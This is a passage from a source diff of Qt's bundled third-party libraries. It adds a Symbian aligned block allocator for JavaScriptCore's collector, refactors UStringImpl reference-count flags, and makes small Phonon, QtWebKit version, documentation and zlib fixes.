@@ -221,11 +195,9 @@ NEVER_INLINE CollectorBlock* Heap::allocateBlock()
vm_address_t address = 0;
vm_map(current_task(), &address, BLOCK_SIZE, BLOCK_OFFSET_MASK, VM_FLAGS_ANYWHERE | VM_TAG_FOR_COLLECTOR_MEMORY, MEMORY_OBJECT_NULL, 0, FALSE, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_DEFAULT);
#elif OS(SYMBIAN)
- // Allocate a 64 kb aligned CollectorBlock
- unsigned char* mask = reinterpret_cast<unsigned char*>(userChunk->Alloc(BLOCK_SIZE));
- if (!mask)
+ void* address = m_blockallocator.alloc();
+ if (!address)
CRASH();
- uintptr_t address = reinterpret_cast<uintptr_t>(mask);
#elif OS(WINCE)
void* address = VirtualAlloc(NULL, BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
#elif OS(WINDOWS)
@@ -316,7 +288,7 @@ NEVER_INLINE void Heap::freeBlockPtr(CollectorBlock* block)
#if OS(DARWIN)
vm_deallocate(current_task(), reinterpret_cast<vm_address_t>(block), BLOCK_SIZE);
#elif OS(SYMBIAN)
- userChunk->Free(reinterpret_cast<TAny*>(block));
+ m_blockallocator.free(reinterpret_cast<void*>(block));
#elif OS(WINCE)
VirtualFree(block, 0, MEM_RELEASE);
#elif OS(WINDOWS)
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
index 7f7a679..d3616dc 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
@@ -35,6 +35,10 @@
#include <pthread.h>
#endif
+#if OS(SYMBIAN)
+#include <wtf/symbian/BlockAllocatorSymbian.h>
+#endif
+
#define ASSERT_CLASS_FITS_IN_CELL(class) COMPILE_ASSERT(sizeof(class) <= CELL_SIZE, class_fits_in_cell)
namespace JSC {
@@ -167,6 +171,11 @@ namespace JSC {
pthread_key_t m_currentThreadRegistrar;
#endif
+#if OS(SYMBIAN)
+ // Allocates collector blocks with correct alignment
+ WTF::AlignedBlockAllocator m_blockallocator;
+#endif
+
JSGlobalData* m_globalData;
};
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.cpp
index 4b0d1c9..4fde49e 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.cpp
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.cpp
@@ -38,12 +38,14 @@ namespace JSC {
SharedUChar* UStringImpl::baseSharedBuffer()
{
ASSERT((bufferOwnership() == BufferShared)
- || ((bufferOwnership() == BufferOwned) && !m_dataBuffer.asPtr<void*>()));
+ || ((bufferOwnership() == BufferOwned) && !m_buffer));
- if (bufferOwnership() != BufferShared)
- m_dataBuffer = UntypedPtrAndBitfield(SharedUChar::create(new OwnFastMallocPtr<UChar>(m_data)).releaseRef(), BufferShared);
+ if (bufferOwnership() != BufferShared) {
+ m_refCountAndFlags = (m_refCountAndFlags & ~s_refCountMaskBufferOwnership) | BufferShared;
+ m_bufferShared = SharedUChar::create(new OwnFastMallocPtr<UChar>(m_data)).releaseRef();
+ }
- return m_dataBuffer.asPtr<SharedUChar*>();
+ return m_bufferShared;
}
SharedUChar* UStringImpl::sharedBuffer()
@@ -71,10 +73,10 @@ UStringImpl::~UStringImpl()
if (bufferOwnership() == BufferOwned)
fastFree(m_data);
else if (bufferOwnership() == BufferSubstring)
- m_dataBuffer.asPtr<UStringImpl*>()->deref();
+ m_bufferSubstring->deref();
else {
ASSERT(bufferOwnership() == BufferShared);
- m_dataBuffer.asPtr<SharedUChar*>()->deref();
+ m_bufferShared->deref();
}
}
}
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.h b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.h
index 4e1ddc7..e6d1a8a 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/UStringImpl.h
@@ -40,48 +40,6 @@ class IdentifierTable;
typedef CrossThreadRefCounted<OwnFastMallocPtr<UChar> > SharedUChar;
-class UntypedPtrAndBitfield {
-public:
- UntypedPtrAndBitfield() {}
-
- UntypedPtrAndBitfield(void* ptrValue, uintptr_t bitValue)
- : m_value(reinterpret_cast<uintptr_t>(ptrValue) | bitValue)
-#ifndef NDEBUG
- , m_leaksPtr(ptrValue)
-#endif
- {
- ASSERT(ptrValue == asPtr<void*>());
- ASSERT((*this & ~s_alignmentMask) == bitValue);
- }
-
- template<typename T>
- T asPtr() const { return reinterpret_cast<T>(m_value & s_alignmentMask); }
-
- UntypedPtrAndBitfield& operator&=(uintptr_t bits)
- {
- m_value &= bits | s_alignmentMask;
- return *this;
- }
-
- UntypedPtrAndBitfield& operator|=(uintptr_t bits)
- {
- m_value |= bits & ~s_alignmentMask;
- return *this;
- }
-
- uintptr_t operator&(uintptr_t mask) const
- {
- return m_value & mask & ~s_alignmentMask;
- }
-
-private:
- static const uintptr_t s_alignmentMask = ~static_cast<uintptr_t>(0x7);
- uintptr_t m_value;
-#ifndef NDEBUG
- void* m_leaksPtr; // Only used to allow tools like leaks on OSX to detect that the memory is referenced.
-#endif
-};
-
class UStringImpl : Noncopyable {
public:
template<size_t inlineCapacity>
@@ -151,21 +109,27 @@ public:
{
// For substrings, return the cost of the base string.
if (bufferOwnership() == BufferSubstring)
- return m_dataBuffer.asPtr<UStringImpl*>()->cost();
+ return m_bufferSubstring->cost();
- if (m_dataBuffer & s_reportedCostBit)
+ if (m_refCountAndFlags & s_refCountFlagHasReportedCost)
return 0;
- m_dataBuffer |= s_reportedCostBit;
+ m_refCountAndFlags |= s_refCountFlagHasReportedCost;
return m_length;
}
unsigned hash() const { if (!m_hash) m_hash = computeHash(data(), m_length); return m_hash; }
unsigned existingHash() const { ASSERT(m_hash); return m_hash; } // fast path for Identifiers
void setHash(unsigned hash) { ASSERT(hash == computeHash(data(), m_length)); m_hash = hash; } // fast path for Identifiers
- bool isIdentifier() const { return m_isIdentifier; }
- void setIsIdentifier(bool isIdentifier) { m_isIdentifier = isIdentifier; }
+ bool isIdentifier() const { return m_refCountAndFlags & s_refCountFlagIsIdentifier; }
+ void setIsIdentifier(bool isIdentifier)
+ {
+ if (isIdentifier)
+ m_refCountAndFlags |= s_refCountFlagIsIdentifier;
+ else
+ m_refCountAndFlags &= ~s_refCountFlagIsIdentifier;
+ }
- UStringImpl* ref() { m_refCount += s_refCountIncrement; return this; }
- ALWAYS_INLINE void deref() { if (!(m_refCount -= s_refCountIncrement)) delete this; }
+ UStringImpl* ref() { m_refCountAndFlags += s_refCountIncrement; return this; }
+ ALWAYS_INLINE void deref() { m_refCountAndFlags -= s_refCountIncrement; if (!(m_refCountAndFlags & s_refCountMask)) delete this; }
static void copyChars(UChar* destination, const UChar* source, unsigned numCharacters)
{
@@ -205,11 +169,10 @@ private:
// Used to construct normal strings with an internal or external buffer.
UStringImpl(UChar* data, int length, BufferOwnership ownership)
: m_data(data)
+ , m_buffer(0)
, m_length(length)
- , m_refCount(s_refCountIncrement)
+ , m_refCountAndFlags(s_refCountIncrement | ownership)
, m_hash(0)
- , m_isIdentifier(false)
- , m_dataBuffer(0, ownership)
{
ASSERT((ownership == BufferInternal) || (ownership == BufferOwned));
checkConsistency();
@@ -221,11 +184,10 @@ private:
enum StaticStringConstructType { ConstructStaticString };
UStringImpl(UChar* data, int length, StaticStringConstructType)
: m_data(data)
+ , m_buffer(0)
, m_length(length)
- , m_refCount(s_staticRefCountInitialValue)
+ , m_refCountAndFlags(s_refCountFlagStatic | BufferOwned)
, m_hash(0)
- , m_isIdentifier(false)
- , m_dataBuffer(0, BufferOwned)
{
checkConsistency();
}
@@ -233,28 +195,26 @@ private:
// Used to create new strings that are a substring of an existing string.
UStringImpl(UChar* data, int length, PassRefPtr<UStringImpl> base)
: m_data(data)
+ , m_bufferSubstring(base.releaseRef())
, m_length(length)
- , m_refCount(s_refCountIncrement)
+ , m_refCountAndFlags(s_refCountIncrement | BufferSubstring)
, m_hash(0)
- , m_isIdentifier(false)
- , m_dataBuffer(base.releaseRef(), BufferSubstring)
{
// Do use static strings as a base for substrings; UntypedPtrAndBitfield assumes
// that all pointers will be at least 8-byte aligned, we cannot guarantee that of
// UStringImpls that are not heap allocated.
- ASSERT(m_dataBuffer.asPtr<UStringImpl*>()->size());
- ASSERT(!m_dataBuffer.asPtr<UStringImpl*>()->isStatic());
+ ASSERT(m_bufferSubstring->size());
+ ASSERT(!m_bufferSubstring->isStatic());
checkConsistency();
}
// Used to construct new strings sharing an existing shared buffer.
UStringImpl(UChar* data, int length, PassRefPtr<SharedUChar> sharedBuffer)
: m_data(data)
+ , m_bufferShared(sharedBuffer.releaseRef())
, m_length(length)
- , m_refCount(s_refCountIncrement)
+ , m_refCountAndFlags(s_refCountIncrement | BufferShared)
, m_hash(0)
- , m_isIdentifier(false)
- , m_dataBuffer(sharedBuffer.releaseRef(), BufferShared)
{
checkConsistency();
}
@@ -277,26 +237,31 @@ private:
// This number must be at least 2 to avoid sharing empty, null as well as 1 character strings from SmallStrings.
static const int s_minLengthToShare = 10;
static const unsigned s_copyCharsInlineCutOff = 20;
- static const uintptr_t s_bufferOwnershipMask = 3;
- static const uintptr_t s_reportedCostBit = 4;
// We initialize and increment/decrement the refCount for all normal (non-static) strings by the value 2.
// We initialize static strings with an odd number (specifically, 1), such that the refCount cannot reach zero.
- static const int s_refCountIncrement = 2;
- static const int s_staticRefCountInitialValue = 1;
-
- UStringImpl* bufferOwnerString() { return (bufferOwnership() == BufferSubstring) ? m_dataBuffer.asPtr<UStringImpl*>() : this; }
- const UStringImpl* bufferOwnerString() const { return (bufferOwnership() == BufferSubstring) ? m_dataBuffer.asPtr<UStringImpl*>() : this; }
+ static const unsigned s_refCountMask = 0xFFFFFFF0;
+ static const int s_refCountIncrement = 0x20;
+ static const int s_refCountFlagStatic = 0x10;
+ static const unsigned s_refCountFlagHasReportedCost = 0x8;
+ static const unsigned s_refCountFlagIsIdentifier = 0x4;
+ static const unsigned s_refCountMaskBufferOwnership = 0x3;
+
+ UStringImpl* bufferOwnerString() { return (bufferOwnership() == BufferSubstring) ? m_bufferSubstring : this; }
+ const UStringImpl* bufferOwnerString() const { return (bufferOwnership() == BufferSubstring) ? m_bufferSubstring : this; }
SharedUChar* baseSharedBuffer();
- unsigned bufferOwnership() const { return m_dataBuffer & s_bufferOwnershipMask; }
- bool isStatic() const { return m_refCount & 1; }
+ unsigned bufferOwnership() const { return m_refCountAndFlags & s_refCountMaskBufferOwnership; }
+ bool isStatic() const { return m_refCountAndFlags & s_refCountFlagStatic; }
// unshared data
UChar* m_data;
+ union {
+ void* m_buffer;
+ UStringImpl* m_bufferSubstring;
+ SharedUChar* m_bufferShared;
+ };
int m_length;
- unsigned m_refCount;
- mutable unsigned m_hash : 31;
- mutable unsigned m_isIdentifier : 1;
- UntypedPtrAndBitfield m_dataBuffer;
+ unsigned m_refCountAndFlags;
+ mutable unsigned m_hash;
JS_EXPORTDATA static UStringImpl* s_null;
JS_EXPORTDATA static UStringImpl* s_empty;
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
new file mode 100644
index 0000000..6a28e9e
--- /dev/null
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 3. Neither the name of Apple Computer, Inc. ("Apple") nor the names of
+ * its contributors may be used to endorse or promote products derived
+ * from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+
+#if OS(SYMBIAN)
+
+#include "BlockAllocatorSymbian.h"
+
+
+namespace WTF {
+
+/** Efficiently allocates blocks of size blockSize with blockSize alignment.
+ * Primarly designed for JSC Collector's needs.
+ * Not thread-safe.
+ */
+AlignedBlockAllocator::AlignedBlockAllocator(TUint32 reservationSize, TUint32 blockSize )
+ : m_reservation(reservationSize),
+ m_blockSize(blockSize)
+{
+
+ // Get system's page size value.
+ SYMBIAN_PAGESIZE(m_pageSize);
+
+ // We only accept multiples of system page size for both initial reservation and the alignment/block size
+ m_reservation = SYMBIAN_ROUNDUPTOMULTIPLE(m_reservation, m_pageSize);
+ __ASSERT_ALWAYS(SYMBIAN_ROUNDUPTOMULTIPLE(m_blockSize, m_pageSize), User::Panic(_L("AlignedBlockAllocator1"), KErrArgument));
+
+ // Calculate max. bit flags we need to carve a reservationSize range into blockSize-sized blocks
+ m_map.numBits = m_reservation / m_blockSize;
+ const TUint32 bitsPerWord = 8*sizeof(TUint32);
+ const TUint32 numWords = (m_map.numBits + bitsPerWord -1) / bitsPerWord;
+
+ m_map.bits = new TUint32[numWords];
+ __ASSERT_ALWAYS(m_map.bits, User::Panic(_L("AlignedBlockAllocator2"), KErrNoMemory));
+ m_map.clearAll();
+
+ // Open a Symbian RChunk, and reserve requested virtual address range
+ // Any thread in this process can operate this rchunk due to EOwnerProcess access rights.
+ TInt ret = m_chunk.CreateDisconnectedLocal(0 , 0, (TInt)m_reservation , EOwnerProcess);
+ if (ret != KErrNone)
+ User::Panic(_L("AlignedBlockAllocator3"), ret);
+
+ // This is the offset to m_chunk.Base() required to make it m_blockSize-aligned
+ m_offset = SYMBIAN_ROUNDUPTOMULTIPLE(TUint32(m_chunk.Base()), m_blockSize) - TUint(m_chunk.Base());
+
+}
+
+void* AlignedBlockAllocator::alloc()
+{
+
+ TInt freeRam = 0;
+ void* address = 0;
+
+ // Look up first free slot in bit map
+ const TInt freeIdx = m_map.findFree();
+
+ // Pseudo OOM: We ate up the address space we reserved..
+ // ..even though the device may have free RAM left
+ if (freeIdx < 0)
+ return 0;
+
+ TInt ret = m_chunk.Commit(m_offset + (m_blockSize * freeIdx), m_blockSize);
+ if (ret != KErrNone)
+ return 0; // True OOM: Device didn't have physical RAM to spare
+
+ // Updated bit to mark region as in use.
+ m_map.set(freeIdx);
+
+ // Calculate address of committed region (block)
+ address = (void*)( (m_chunk.Base() + m_offset) + (TUint)(m_blockSize * freeIdx) );
+
+ return address;
+}
+
+void AlignedBlockAllocator::free(void* block)
+{
+ // Calculate index of block to be freed
+ TInt idx = TUint(static_cast<TUint8*>(block) - m_chunk.Base() - m_offset) / m_blockSize;
+
+ __ASSERT_DEBUG(idx >= 0 && idx < m_map.numBits, User::Panic(_L("AlignedBlockAllocator4"), KErrCorrupt)); // valid index check
+ __ASSERT_DEBUG(m_map.get(idx), User::Panic(_L("AlignedBlockAllocator5"), KErrCorrupt)); // in-use flag check
+
+ // Return committed region to system RAM pool (the physical RAM becomes usable by others)
+ TInt ret = m_chunk.Decommit(m_offset + m_blockSize * idx, m_blockSize);
+
+ // mark this available again
+ m_map.clear(idx);
+}
+
+void AlignedBlockAllocator::destroy()
+{
+ // release everything!
+ m_chunk.Decommit(0, m_chunk.MaxSize());
+ m_map.clearAll();
+}
+
+AlignedBlockAllocator::~AlignedBlockAllocator()
+{
+ destroy();
+ m_chunk.Close();
+ delete [] m_map.bits;
+}
+
+} // end of namespace
+
+#endif // SYMBIAN
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
new file mode 100644
index 0000000..21422f6
--- /dev/null
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ * 3. Neither the name of Apple Computer, Inc. ("Apple") nor the names of
+ * its contributors may be used to endorse or promote products derived
+ * from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef BlockAllocatorSymbian_h
+#define BlockAllocatorSymbian_h
+
+#include <e32cmn.h>
+#include <e32std.h>
+#include <hal.h>
+
+
+#define SYMBIAN_PAGESIZE(x) (HAL::Get(HALData::EMemoryPageSize, x));
+#define SYMBIAN_FREERAM(x) (HAL::Get(HALData::EMemoryRAMFree, x));
+#define SYMBIAN_ROUNDUPTOMULTIPLE(x, multipleof) ( (x + multipleof - 1) & ~(multipleof - 1) )
+
+// Set sane defaults if -D<flagname=value> wasn't provided via compiler args
+#ifndef JSCCOLLECTOR_VIRTUALMEM_RESERVATION
+#if defined(__WINS__)
+ // Emulator has limited virtual address space
+ #define JSCCOLLECTOR_VIRTUALMEM_RESERVATION (4*1024*1024)
+#else
+ // HW has plenty of virtual addresses
+ #define JSCCOLLECTOR_VIRTUALMEM_RESERVATION (128*1024*1024)
+#endif
+#endif
+
+namespace WTF {
+
+/**
+ * Allocates contiguous region of size blockSize with blockSize-aligned address.
+ * blockSize must be a multiple of system page size (typically 4K on Symbian/ARM)
+ *
+ * @param reservationSize Virtual address range to be reserved upon creation of chunk (bytes).
+ * @param blockSize Size of a single allocation. Returned address will also be blockSize-aligned.
+ */
+class AlignedBlockAllocator {
+ public:
+ AlignedBlockAllocator(TUint32 reservationSize, TUint32 blockSize);
+ ~AlignedBlockAllocator();
+ void destroy();
+ void* alloc();
+ void free(void* data);
+
+ private:
+ RChunk m_chunk; // Symbian chunk that lets us reserve/commit/decommit
+ TUint m_offset; // offset of first committed region from base
+ TInt m_pageSize; // cached value of system page size, typically 4K on Symbian
+ TUint32 m_reservation;
+ TUint32 m_blockSize;
+
+ // Tracks comitted/decommitted state of a blockSize region
+ struct {
+
+ TUint32 *bits; // array of bit flags
+ TUint32 numBits; // number of regions to keep track of
+
+ bool get(TUint32 n) const
+ {
+ return !!(bits[n >> 5] & (1 << (n & 0x1F)));
+ }
+
+ void set(TUint32 n)
+ {
+ bits[n >> 5] |= (1 << (n & 0x1F));
+ }
+
+ void clear(TUint32 n)
+ {
+ bits[n >> 5] &= ~(1 << (n & 0x1F));
+ }
+
+ void clearAll()
+ {
+ for (TUint32 i = 0; i < numBits; i++)
+ clear(i);
+ }
+
+ TInt findFree() const
+ {
+ for (TUint32 i = 0; i < numBits; i++) {
+ if (!get(i))
+ return i;
+ }
+ return -1;
+ }
+
+ } m_map;
+
+};
+
+}
+
+#endif // end of BlockAllocatorSymbian_h
+
+
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/RegisterFileAllocatorSymbian.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/RegisterFileAllocatorSymbian.cpp
index da5cc99..e89dd7a 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/RegisterFileAllocatorSymbian.cpp
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/RegisterFileAllocatorSymbian.cpp
@@ -83,10 +83,16 @@ void RegisterFileAllocator::grow(void* newEnd)
TInt nBytes = (TInt)(newEnd) - (TInt)(m_comEnd);
nBytes = SYMBIAN_ROUNDUPTOMULTIPLE(nBytes, m_poolSize);
TInt offset = (TInt)m_comEnd - (TInt)m_buffer;
+ // The reserved size is not guaranteed to be a multiple of the pool size.
+ TInt maxBytes = (TInt)m_resEnd - (TInt)m_comEnd;
+ if (nBytes > maxBytes)
+ nBytes = maxBytes;
TInt ret = m_chunk.Commit(offset, nBytes);
if (ret == KErrNone)
m_comEnd = (void*)(m_chunk.Base() + m_chunk.Size());
+ else
+ CRASH();
}
}
diff --git a/src/3rdparty/javascriptcore/VERSION b/src/3rdparty/javascriptcore/VERSION
index 9991ac0..13943b2 100644
--- a/src/3rdparty/javascriptcore/VERSION
+++ b/src/3rdparty/javascriptcore/VERSION
@@ -4,8 +4,8 @@ This is a snapshot of JavaScriptCore from
The commit imported was from the
- javascriptcore-snapshot-05102010 branch/tag
+ javascriptcore-snapshot-27012011 branch/tag
and has the sha1 checksum
- 82ead85cfea5859044eeb25b33314dcc0fa5eea1
+ 3ab0f621048fbeb480b687a28ed31d92d8506150
diff --git a/src/3rdparty/phonon/mmf/abstractaudioeffect.h b/src/3rdparty/phonon/mmf/abstractaudioeffect.h
index 70adcf6..517a334 100644
--- a/src/3rdparty/phonon/mmf/abstractaudioeffect.h
+++ b/src/3rdparty/phonon/mmf/abstractaudioeffect.h
@@ -124,7 +124,7 @@ private:
#define PHONON_MMF_DEFINE_EFFECT_FUNCTIONS(Effect) \
\
-void Effect##::createEffect(AudioPlayer::NativePlayer *player) \
+void Effect::createEffect(AudioPlayer::NativePlayer *player) \
{ \
C##Effect *ptr = 0; \
QT_TRAP_THROWING(ptr = C##Effect::NewL(*player)); \
diff --git a/src/3rdparty/phonon/phonon/factory.cpp b/src/3rdparty/phonon/phonon/factory.cpp
index 2785dff..b5e565b 100644
--- a/src/3rdparty/phonon/phonon/factory.cpp
+++ b/src/3rdparty/phonon/phonon/factory.cpp
@@ -137,21 +137,15 @@ bool FactoryPrivate::createBackend()
QStringList plugins(dir.entryList(QDir::Files));
#ifdef Q_OS_SYMBIAN
- /* On Symbian OS we might have two plugins, one which uses Symbian
- * MMF framework("mmf"), and one which uses Real Networks's
- * Helix("hxphonon"). We prefer the latter because it's more
- * sophisticated, so we make sure the Helix backend is attempted
- * to be loaded first, and the MMF backend is used for backup. */
- {
- const int helix = plugins.indexOf(QLatin1String("hxphonon"));
- if (helix != -1)
- plugins.move(helix, 0);
- }
+ static const QString preferredPluginName = QLatin1String("phonon_mmf");
+ const int preferredPluginIndex = plugins.indexOf(preferredPluginName + ".qtplugin");
+ if (preferredPluginIndex != -1)
+ plugins.move(preferredPluginIndex, 0);
#endif
const QStringList files = dir.entryList(QDir::Files);
- for (int i = 0; i < files.count(); ++i) {
- QPluginLoader pluginLoader(libPath + files.at(i));
+ for (int i = 0; i < plugins.count(); ++i) {
+ QPluginLoader pluginLoader(libPath + plugins.at(i));
if (!pluginLoader.load()) {
pDebug() << Q_FUNC_INFO << " load failed:"
<< pluginLoader.errorString();
diff --git a/src/3rdparty/webkit/WebCore/WebCore.pro b/src/3rdparty/webkit/WebCore/WebCore.pro
index e82ec4c..2de6961 100644
--- a/src/3rdparty/webkit/WebCore/WebCore.pro
+++ b/src/3rdparty/webkit/WebCore/WebCore.pro
@@ -15,7 +15,7 @@ symbian: {
webkitlibs.path = /sys/bin
vendorinfo = \
"; Localised Vendor name" \
- "%{\"Nokia, Qt\"}" \
+ "%{\"Nokia\"}" \
" " \
"; Unique Vendor name" \
":\"Nokia, Qt\"" \
diff --git a/src/3rdparty/webkit/WebKit/qt/Api/qwebkitglobal.h b/src/3rdparty/webkit/WebKit/qt/Api/qwebkitglobal.h
index 63d9e55..2c0bf6d 100644
--- a/src/3rdparty/webkit/WebKit/qt/Api/qwebkitglobal.h
+++ b/src/3rdparty/webkit/WebKit/qt/Api/qwebkitglobal.h
@@ -22,9 +22,9 @@
#include <QtCore/qglobal.h>
-#define QTWEBKIT_VERSION_STR "2.0.1"
+#define QTWEBKIT_VERSION_STR "2.0.2"
// QTWEBKIT_VERSION is (major << 16) + (minor << 8) + patch. Similar to Qt.
-#define QTWEBKIT_VERSION 0x020001
+#define QTWEBKIT_VERSION 0x020002
// Use: #if (QTWEBKIT_VERSION >= QTWEBKIT_VERSION_CHECK(2, 0, 0)). Similar to Qt.
#define QTWEBKIT_VERSION_CHECK(major, minor, patch) ((major<<16)|(minor<<8)|(patch))
diff --git a/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp b/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp
index 7a8aae7..4238d33 100644
--- a/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp
+++ b/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp
@@ -742,11 +742,11 @@ QWebPage* QDeclarativeWebView::page() const
See QWebSettings for details of these properties.
\qml
- WebView {
- settings.pluginsEnabled: true
- settings.standardFontFamily: "Arial"
- ...
- }
+ WebView {
+ settings.pluginsEnabled: true
+ settings.standardFontFamily: "Arial"
+ // ...
+ }
\endqml
*/
QDeclarativeWebSettings* QDeclarativeWebView::settingsObject() const
diff --git a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc
index c2a38fd..d8ca5f9 100644
--- a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc
+++ b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc
@@ -415,7 +415,7 @@
\section2 Internet Security
- When exposing native object to an open web environment, it is importwhichant to understand the security
+ When exposing native object to an open web environment, it is important to understand the security
implications. Think whether the exposed object enables the web environment access to things that
shouldn't be open, and whether the web content loaded by that web page comes from a trusted. In general, when
exposing native QObjects that give the web environment access to private information or to functionality
diff --git a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc
index 0335d46..2be8e5e 100644
--- a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc
+++ b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc
@@ -103,8 +103,8 @@
The following locations are searched for plugins:
\table
- \header \o Linux/Unix (X11) \o Windows
- \row \o{1,3}
+ \header \o Linux/Unix (X11)
+ \row \o
\list
\o \c{.mozilla/plugins} in the user's home directory
\o \c{.netscape/plugins} in the user's home directory
@@ -134,19 +134,20 @@
\o \c{$QTWEBKIT_PLUGIN_PATH}
\endlist
\endlist
+ \endtable
- \o
+ \table
+ \header \o Windows
+ \row \o
\list
\o The user's \c{Application Data\Mozilla\plugins} directory
\o Standard system locations of plugins for Quicktime, Flash, etc.
\endlist
+ \endtable
- \row
- \raw HTML
- <th class="qt-style">Mac OS X</th>
- \endraw
- \row
- \o
+ \table
+ \header \o Mac OS X
+ \row \o
\list
\o \c{Library/Internet Plug-Ins} in the user's home directory
\o The system \c{/Library/Internet Plug-Ins} directory
diff --git a/src/3rdparty/zlib/zlib.h b/src/3rdparty/zlib/zlib.h
index 9e5b467..bdb9a3d 100644
--- a/src/3rdparty/zlib/zlib.h
+++ b/src/3rdparty/zlib/zlib.h
@@ -1171,7 +1171,7 @@ ZEXTERN int Q_ZEXPORT gzgetc OF((gzFile file));
or -1 in case of end of file or error.
*/
-ZEXTERN int ZEXPORT gzungetc OF((int c, gzFile file));
+ZEXTERN int Q_ZEXPORT gzungetc OF((int c, gzFile file));
/*
Push one character back onto the stream to be read again later.
Only one character of push-back is allowed. gzungetc() returns the
